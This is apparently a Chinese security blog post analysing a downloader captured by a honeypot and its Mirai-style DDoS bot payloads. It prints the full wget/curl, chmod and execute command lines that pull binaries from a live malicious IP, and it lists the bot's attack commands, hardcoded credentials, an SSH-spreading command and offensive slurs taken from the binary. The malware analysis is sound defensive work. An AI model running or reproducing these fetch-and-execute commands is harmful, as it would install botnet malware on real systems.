【原创】记录蜜罐捕获到的一个样本分析
2024-6-30 12:12:39 Author: www.freebuf.com(查看原文) 阅读量:11 收藏

今天晚上一看,已经有18个样本被蜜罐捕获(高交互Telnet蜜罐)了,主要就是这个样本:

屏幕截图 2024-06-08 223219.png

文件HASH如下:

MD5:f42a6178e5da4e16254ecbdec5ca376a

SHA-1:51ad642c254d762e3c775678aa17e28601b57866

SHA-256:a093105ec49c25547511780526165a00e0d8964bd622ed2127982908379f198e

上传至virustotal检测,62报23

Untitled

接下来我们对攻击IP进行溯源分析,威胁情报查询如下:

Untitled

访问该IP(是一个Apache安装成功的测试页):

Untitled

接下来继续着眼于该样本,由于是一个文本文件,我们提取文件内容如下:

#母样本内容如下:
cd /tmp; wget <http://178.215.236.209/M>; chmod 777 M; ./M; rm -rf M
cd /tmp; wget <http://178.215.236.209/MS>; chmod 777 MS; ./MS; rm -rf MS
cd /tmp; wget <http://178.215.236.209/SH>; chmod 777 SH; ./SH; rm -rf SH
cd /tmp; wget <http://178.215.236.209/x86>; chmod 777 x86; ./x86; rm -rf x86
cd /tmp; wget <http://178.215.236.209/A6>; chmod 777 A6; ./A6; rm -rf A6
cd /tmp; wget <http://178.215.236.209/I6>; chmod 777 I6; ./I6; rm -rf I6
cd /tmp; wget <http://178.215.236.209/PPC>; chmod 777 PPC; ./PPC; rm -rf PPC
cd /tmp; wget <http://178.215.236.209/I5>; chmod 777 I5; ./I5; rm -rf I5
cd /tmp; wget <http://178.215.236.209/M68>; chmod 777 M68; ./M68; rm -rf M68
cd /tmp; wget <http://178.215.236.209/A5>; chmod 777 A5; ./A5; rm -rf A5
cd /tmp; wget <http://178.215.236.209/PPC-440>; chmod 777 PPC-440; ./PPC-440; rm -rf PPC-440
cd /tmp; wget <http://178.215.236.209/A4-TL>; chmod 777 A4-TL; ./A4-TL; rm -rf A4-TL
cd /tmp; wget <http://178.215.236.209/I4>; chmod 777 I4; ./I4; rm -rf I4
cd /tmp; wget <http://178.215.236.209/M64>; chmod 777 M64; ./M64; rm -rf M64

不难看出,该样本只是一个下载器,用于下载178.215.236.209下的一些文件到/tmp目录,并通过chmod 777命令修改文件可执行权限,并运行下载的这些样本./文件,并且在子样本运行结束后删除样本,清理痕迹。

接下来我们对该IP进行威胁情报查询,结果如下:

Untitled

发现该IP一直存在通过恶意软件进行攻击的行为。并获取到了其攻击payload:

178.215.236.209的攻击Payload信息: 渗透攻击行为:传播恶意木马 攻击Payload信息详情:["["sh","cd /tmp || wget <http://178.215.236.209/zatoempire.sh>; curl -O <http://178.215.236.209/zatoempire.sh>; chmod 777 zatoempire.sh; sh zatoempire.sh; rm -rf *.sh"]"]

不难看出,其大概率通过此payload将样本上传至蜜罐的。去蜜罐验证一下,找到该IP的攻击记录:

Untitled

该IP的请求包如下:

New connection: 188.166.242.49:41462 (172.30.51.1:23) [session: a8c9cd97e13a]
login attempt [root/root] succeeded
sh
cd /tmp; wget <http://178.215.236.209/bins.sh> || 
curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *
Connection lost after 17 seconds

手法基本相似,样本文件名被修改了,威胁情报的http://178.215.236.209/zatoempire.sh现已无法访问。

到目前我们可以得到该攻击的基本信息如下:

  • 攻击IP : 188.166.242.49

  • 攻击Payload :cd /tmp; wget <http://178.215.236.209/bins.sh> || curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *

  • 样本文件名 :bins.sh

  • 样本HASH: f42a6178e5da4e16254ecbdec5ca376a(MD5)

  • 样本源IP :178.215.236.209

  • 样本类型 : shell文件

  • 样本威胁类型 :下载器

接下来我们需要对这些子样本进行分析,修改母样本,使其将所有子样本下载到虚拟机,但不运行,这里我们使用Ubuntu 14虚拟机进行分析,先下载子样本,脚本如下:

wget <http://178.215.236.209/M>
wget <http://178.215.236.209/MS>
wget <http://178.215.236.209/SH>
wget <http://178.215.236.209/x86>
wget <http://178.215.236.209/A6>
wget <http://178.215.236.209/I6>
wget <http://178.215.236.209/PPC>
wget <http://178.215.236.209/I5>
wget <http://178.215.236.209/M68>
wget <http://178.215.236.209/A5>
wget <http://178.215.236.209/PPC-440>
wget <http://178.215.236.209/A4-TL>
wget <http://178.215.236.209/I4>
wget <http://178.215.236.209/M64>

运行,得到如下样本:

Untitled

我们先计算他们的MD5,防止为同一样本重复分析,结果如下:

14aaf85927e45d55a659b2fbcdaa25ee  ./SH
4a1ce3d39485183d9774184f2c45597f  ./A6
b26f2bf0d3ea22871eafd9389d3fcbfe  ./A5
e48a1c33bdf89c8f6d3f5ab2f0b7f966  ./MS
607de5ff2efe197870820df3d0b35da5  ./PPC
27eb53d8f4be08df86e22fa968058c2f  ./I5
d1e0689d859c56f51948ad3260867f67  ./M68
1217dc6c3803a139b17c625b571aa83f  ./I6
f11eb803b87acb02ba64c4d028e29f96  ./M
3b6b23f77f9d1975499fb63421ba3cf8  ./x86

接下来,我们看看A5样本:

<1> 静态分析 A5样本

先通过strings命令提取样本二进制数据中可打印的字符串:

strings ./A5 >> A5-strings.txt

得到了非常多的内容(8643条):

Untitled

筛选有用的信息如下:

root
Hax0r@1337
ssh_server_ip
/root/
sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'


dayzddos.co runs you if you read this lol then you tcp dumped it because it hit you and you need to patch it lololololol

%s %s HTTP/1.1
Host: %s
User-Agent: %s
Connection: close
%s /cdn-cgi/l/chk\_captcha HTTP/1.1

Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS

jay is a faggot
add illuminate#0038 for gay sex
Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS

Failed opening raw socket.

Failed setting raw headers mode.

DOMINATE Flooding %s for %d seconds.
...

同时我们发现其中有大量user-agent信息,并且存在DOMINATE Flooding %s for %d seconds.字符串,判断其可能用于DDOS攻击,结合分析,判断其可能是一个蠕虫程序,通过爆破ssh进行传染:sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s',爆破成功后上传样本用于DDOS攻击,这里运行了一个名为udp.py的python脚本,具体内容还不清。在并且内部出现了大量关于网络通信的字符串,可以判定其主要行为为网络通信。

让火绒查杀一下:

Untitled

报的Trojan/Linux.DDos.h和猜测的基本吻合。

用IDA -PRO分析一下(有点复杂)看到其中一个函数名为processCmd,其中调用了大量atolstrcoll函数进行字符串判断:

UntitledUntitled屏幕截图 2024-06-09 093007.pngUntitledUntitled发现网址 情报判定为白名单,访问是一个新闻网站

发现网址www.manoramaonline.com情报判定为白名单,访问是一个新闻网站

这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击

这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击

这里面的调用的两个函数比较有意思,第一个是sockprintf,一个是SendDOMINATE

1)先看sockprintf,函数比较简单,看看调用流程:

malloc
memset
print
strlen
strlen
send
free

不难看出,它将拼接好的DOMINATE Flooding %s for %d seconds.字符串输出并通过send函数发送出去了

SendDOMINATE函数中调用了一个名为getRandomIP的函数,貌似是随机生成IP并制作一份IP报文发送

2)接下来看看SendDOMINATE函数:

Untitled

静态分析就先分析到这里吧,下面是可能用到的一些控制命令:

TCP
UDP
VSE
HTTP-KO
CF-KILL
NULL-CF
STD
HTTPS-KTN
OVH-STORM
NFO-COM
HYDRA-KILL
HIPER-OVH
KILLALLV3
HOME-DOWN
UDPRAW
NFO-KTN
RANDHEX
XTDV2
DOMINATE
OVH-PACKET
DNS
HOLD
R6-DROP
R6-LAG
GTAV
CSGO
TF2
STOP

<2> 动态分析 A5样本

动态分析时发生问题,格式不匹配,无法运行:

Untitled

上传到云沙箱也没法获取更多的信息了:

Untitled

Untitled

该样本也就只能止步于此了,遇到的问题还得求教各位大佬


文章来源: https://www.freebuf.com/articles/paper/403126.html
如有侵权请联系:admin#unsafe.sh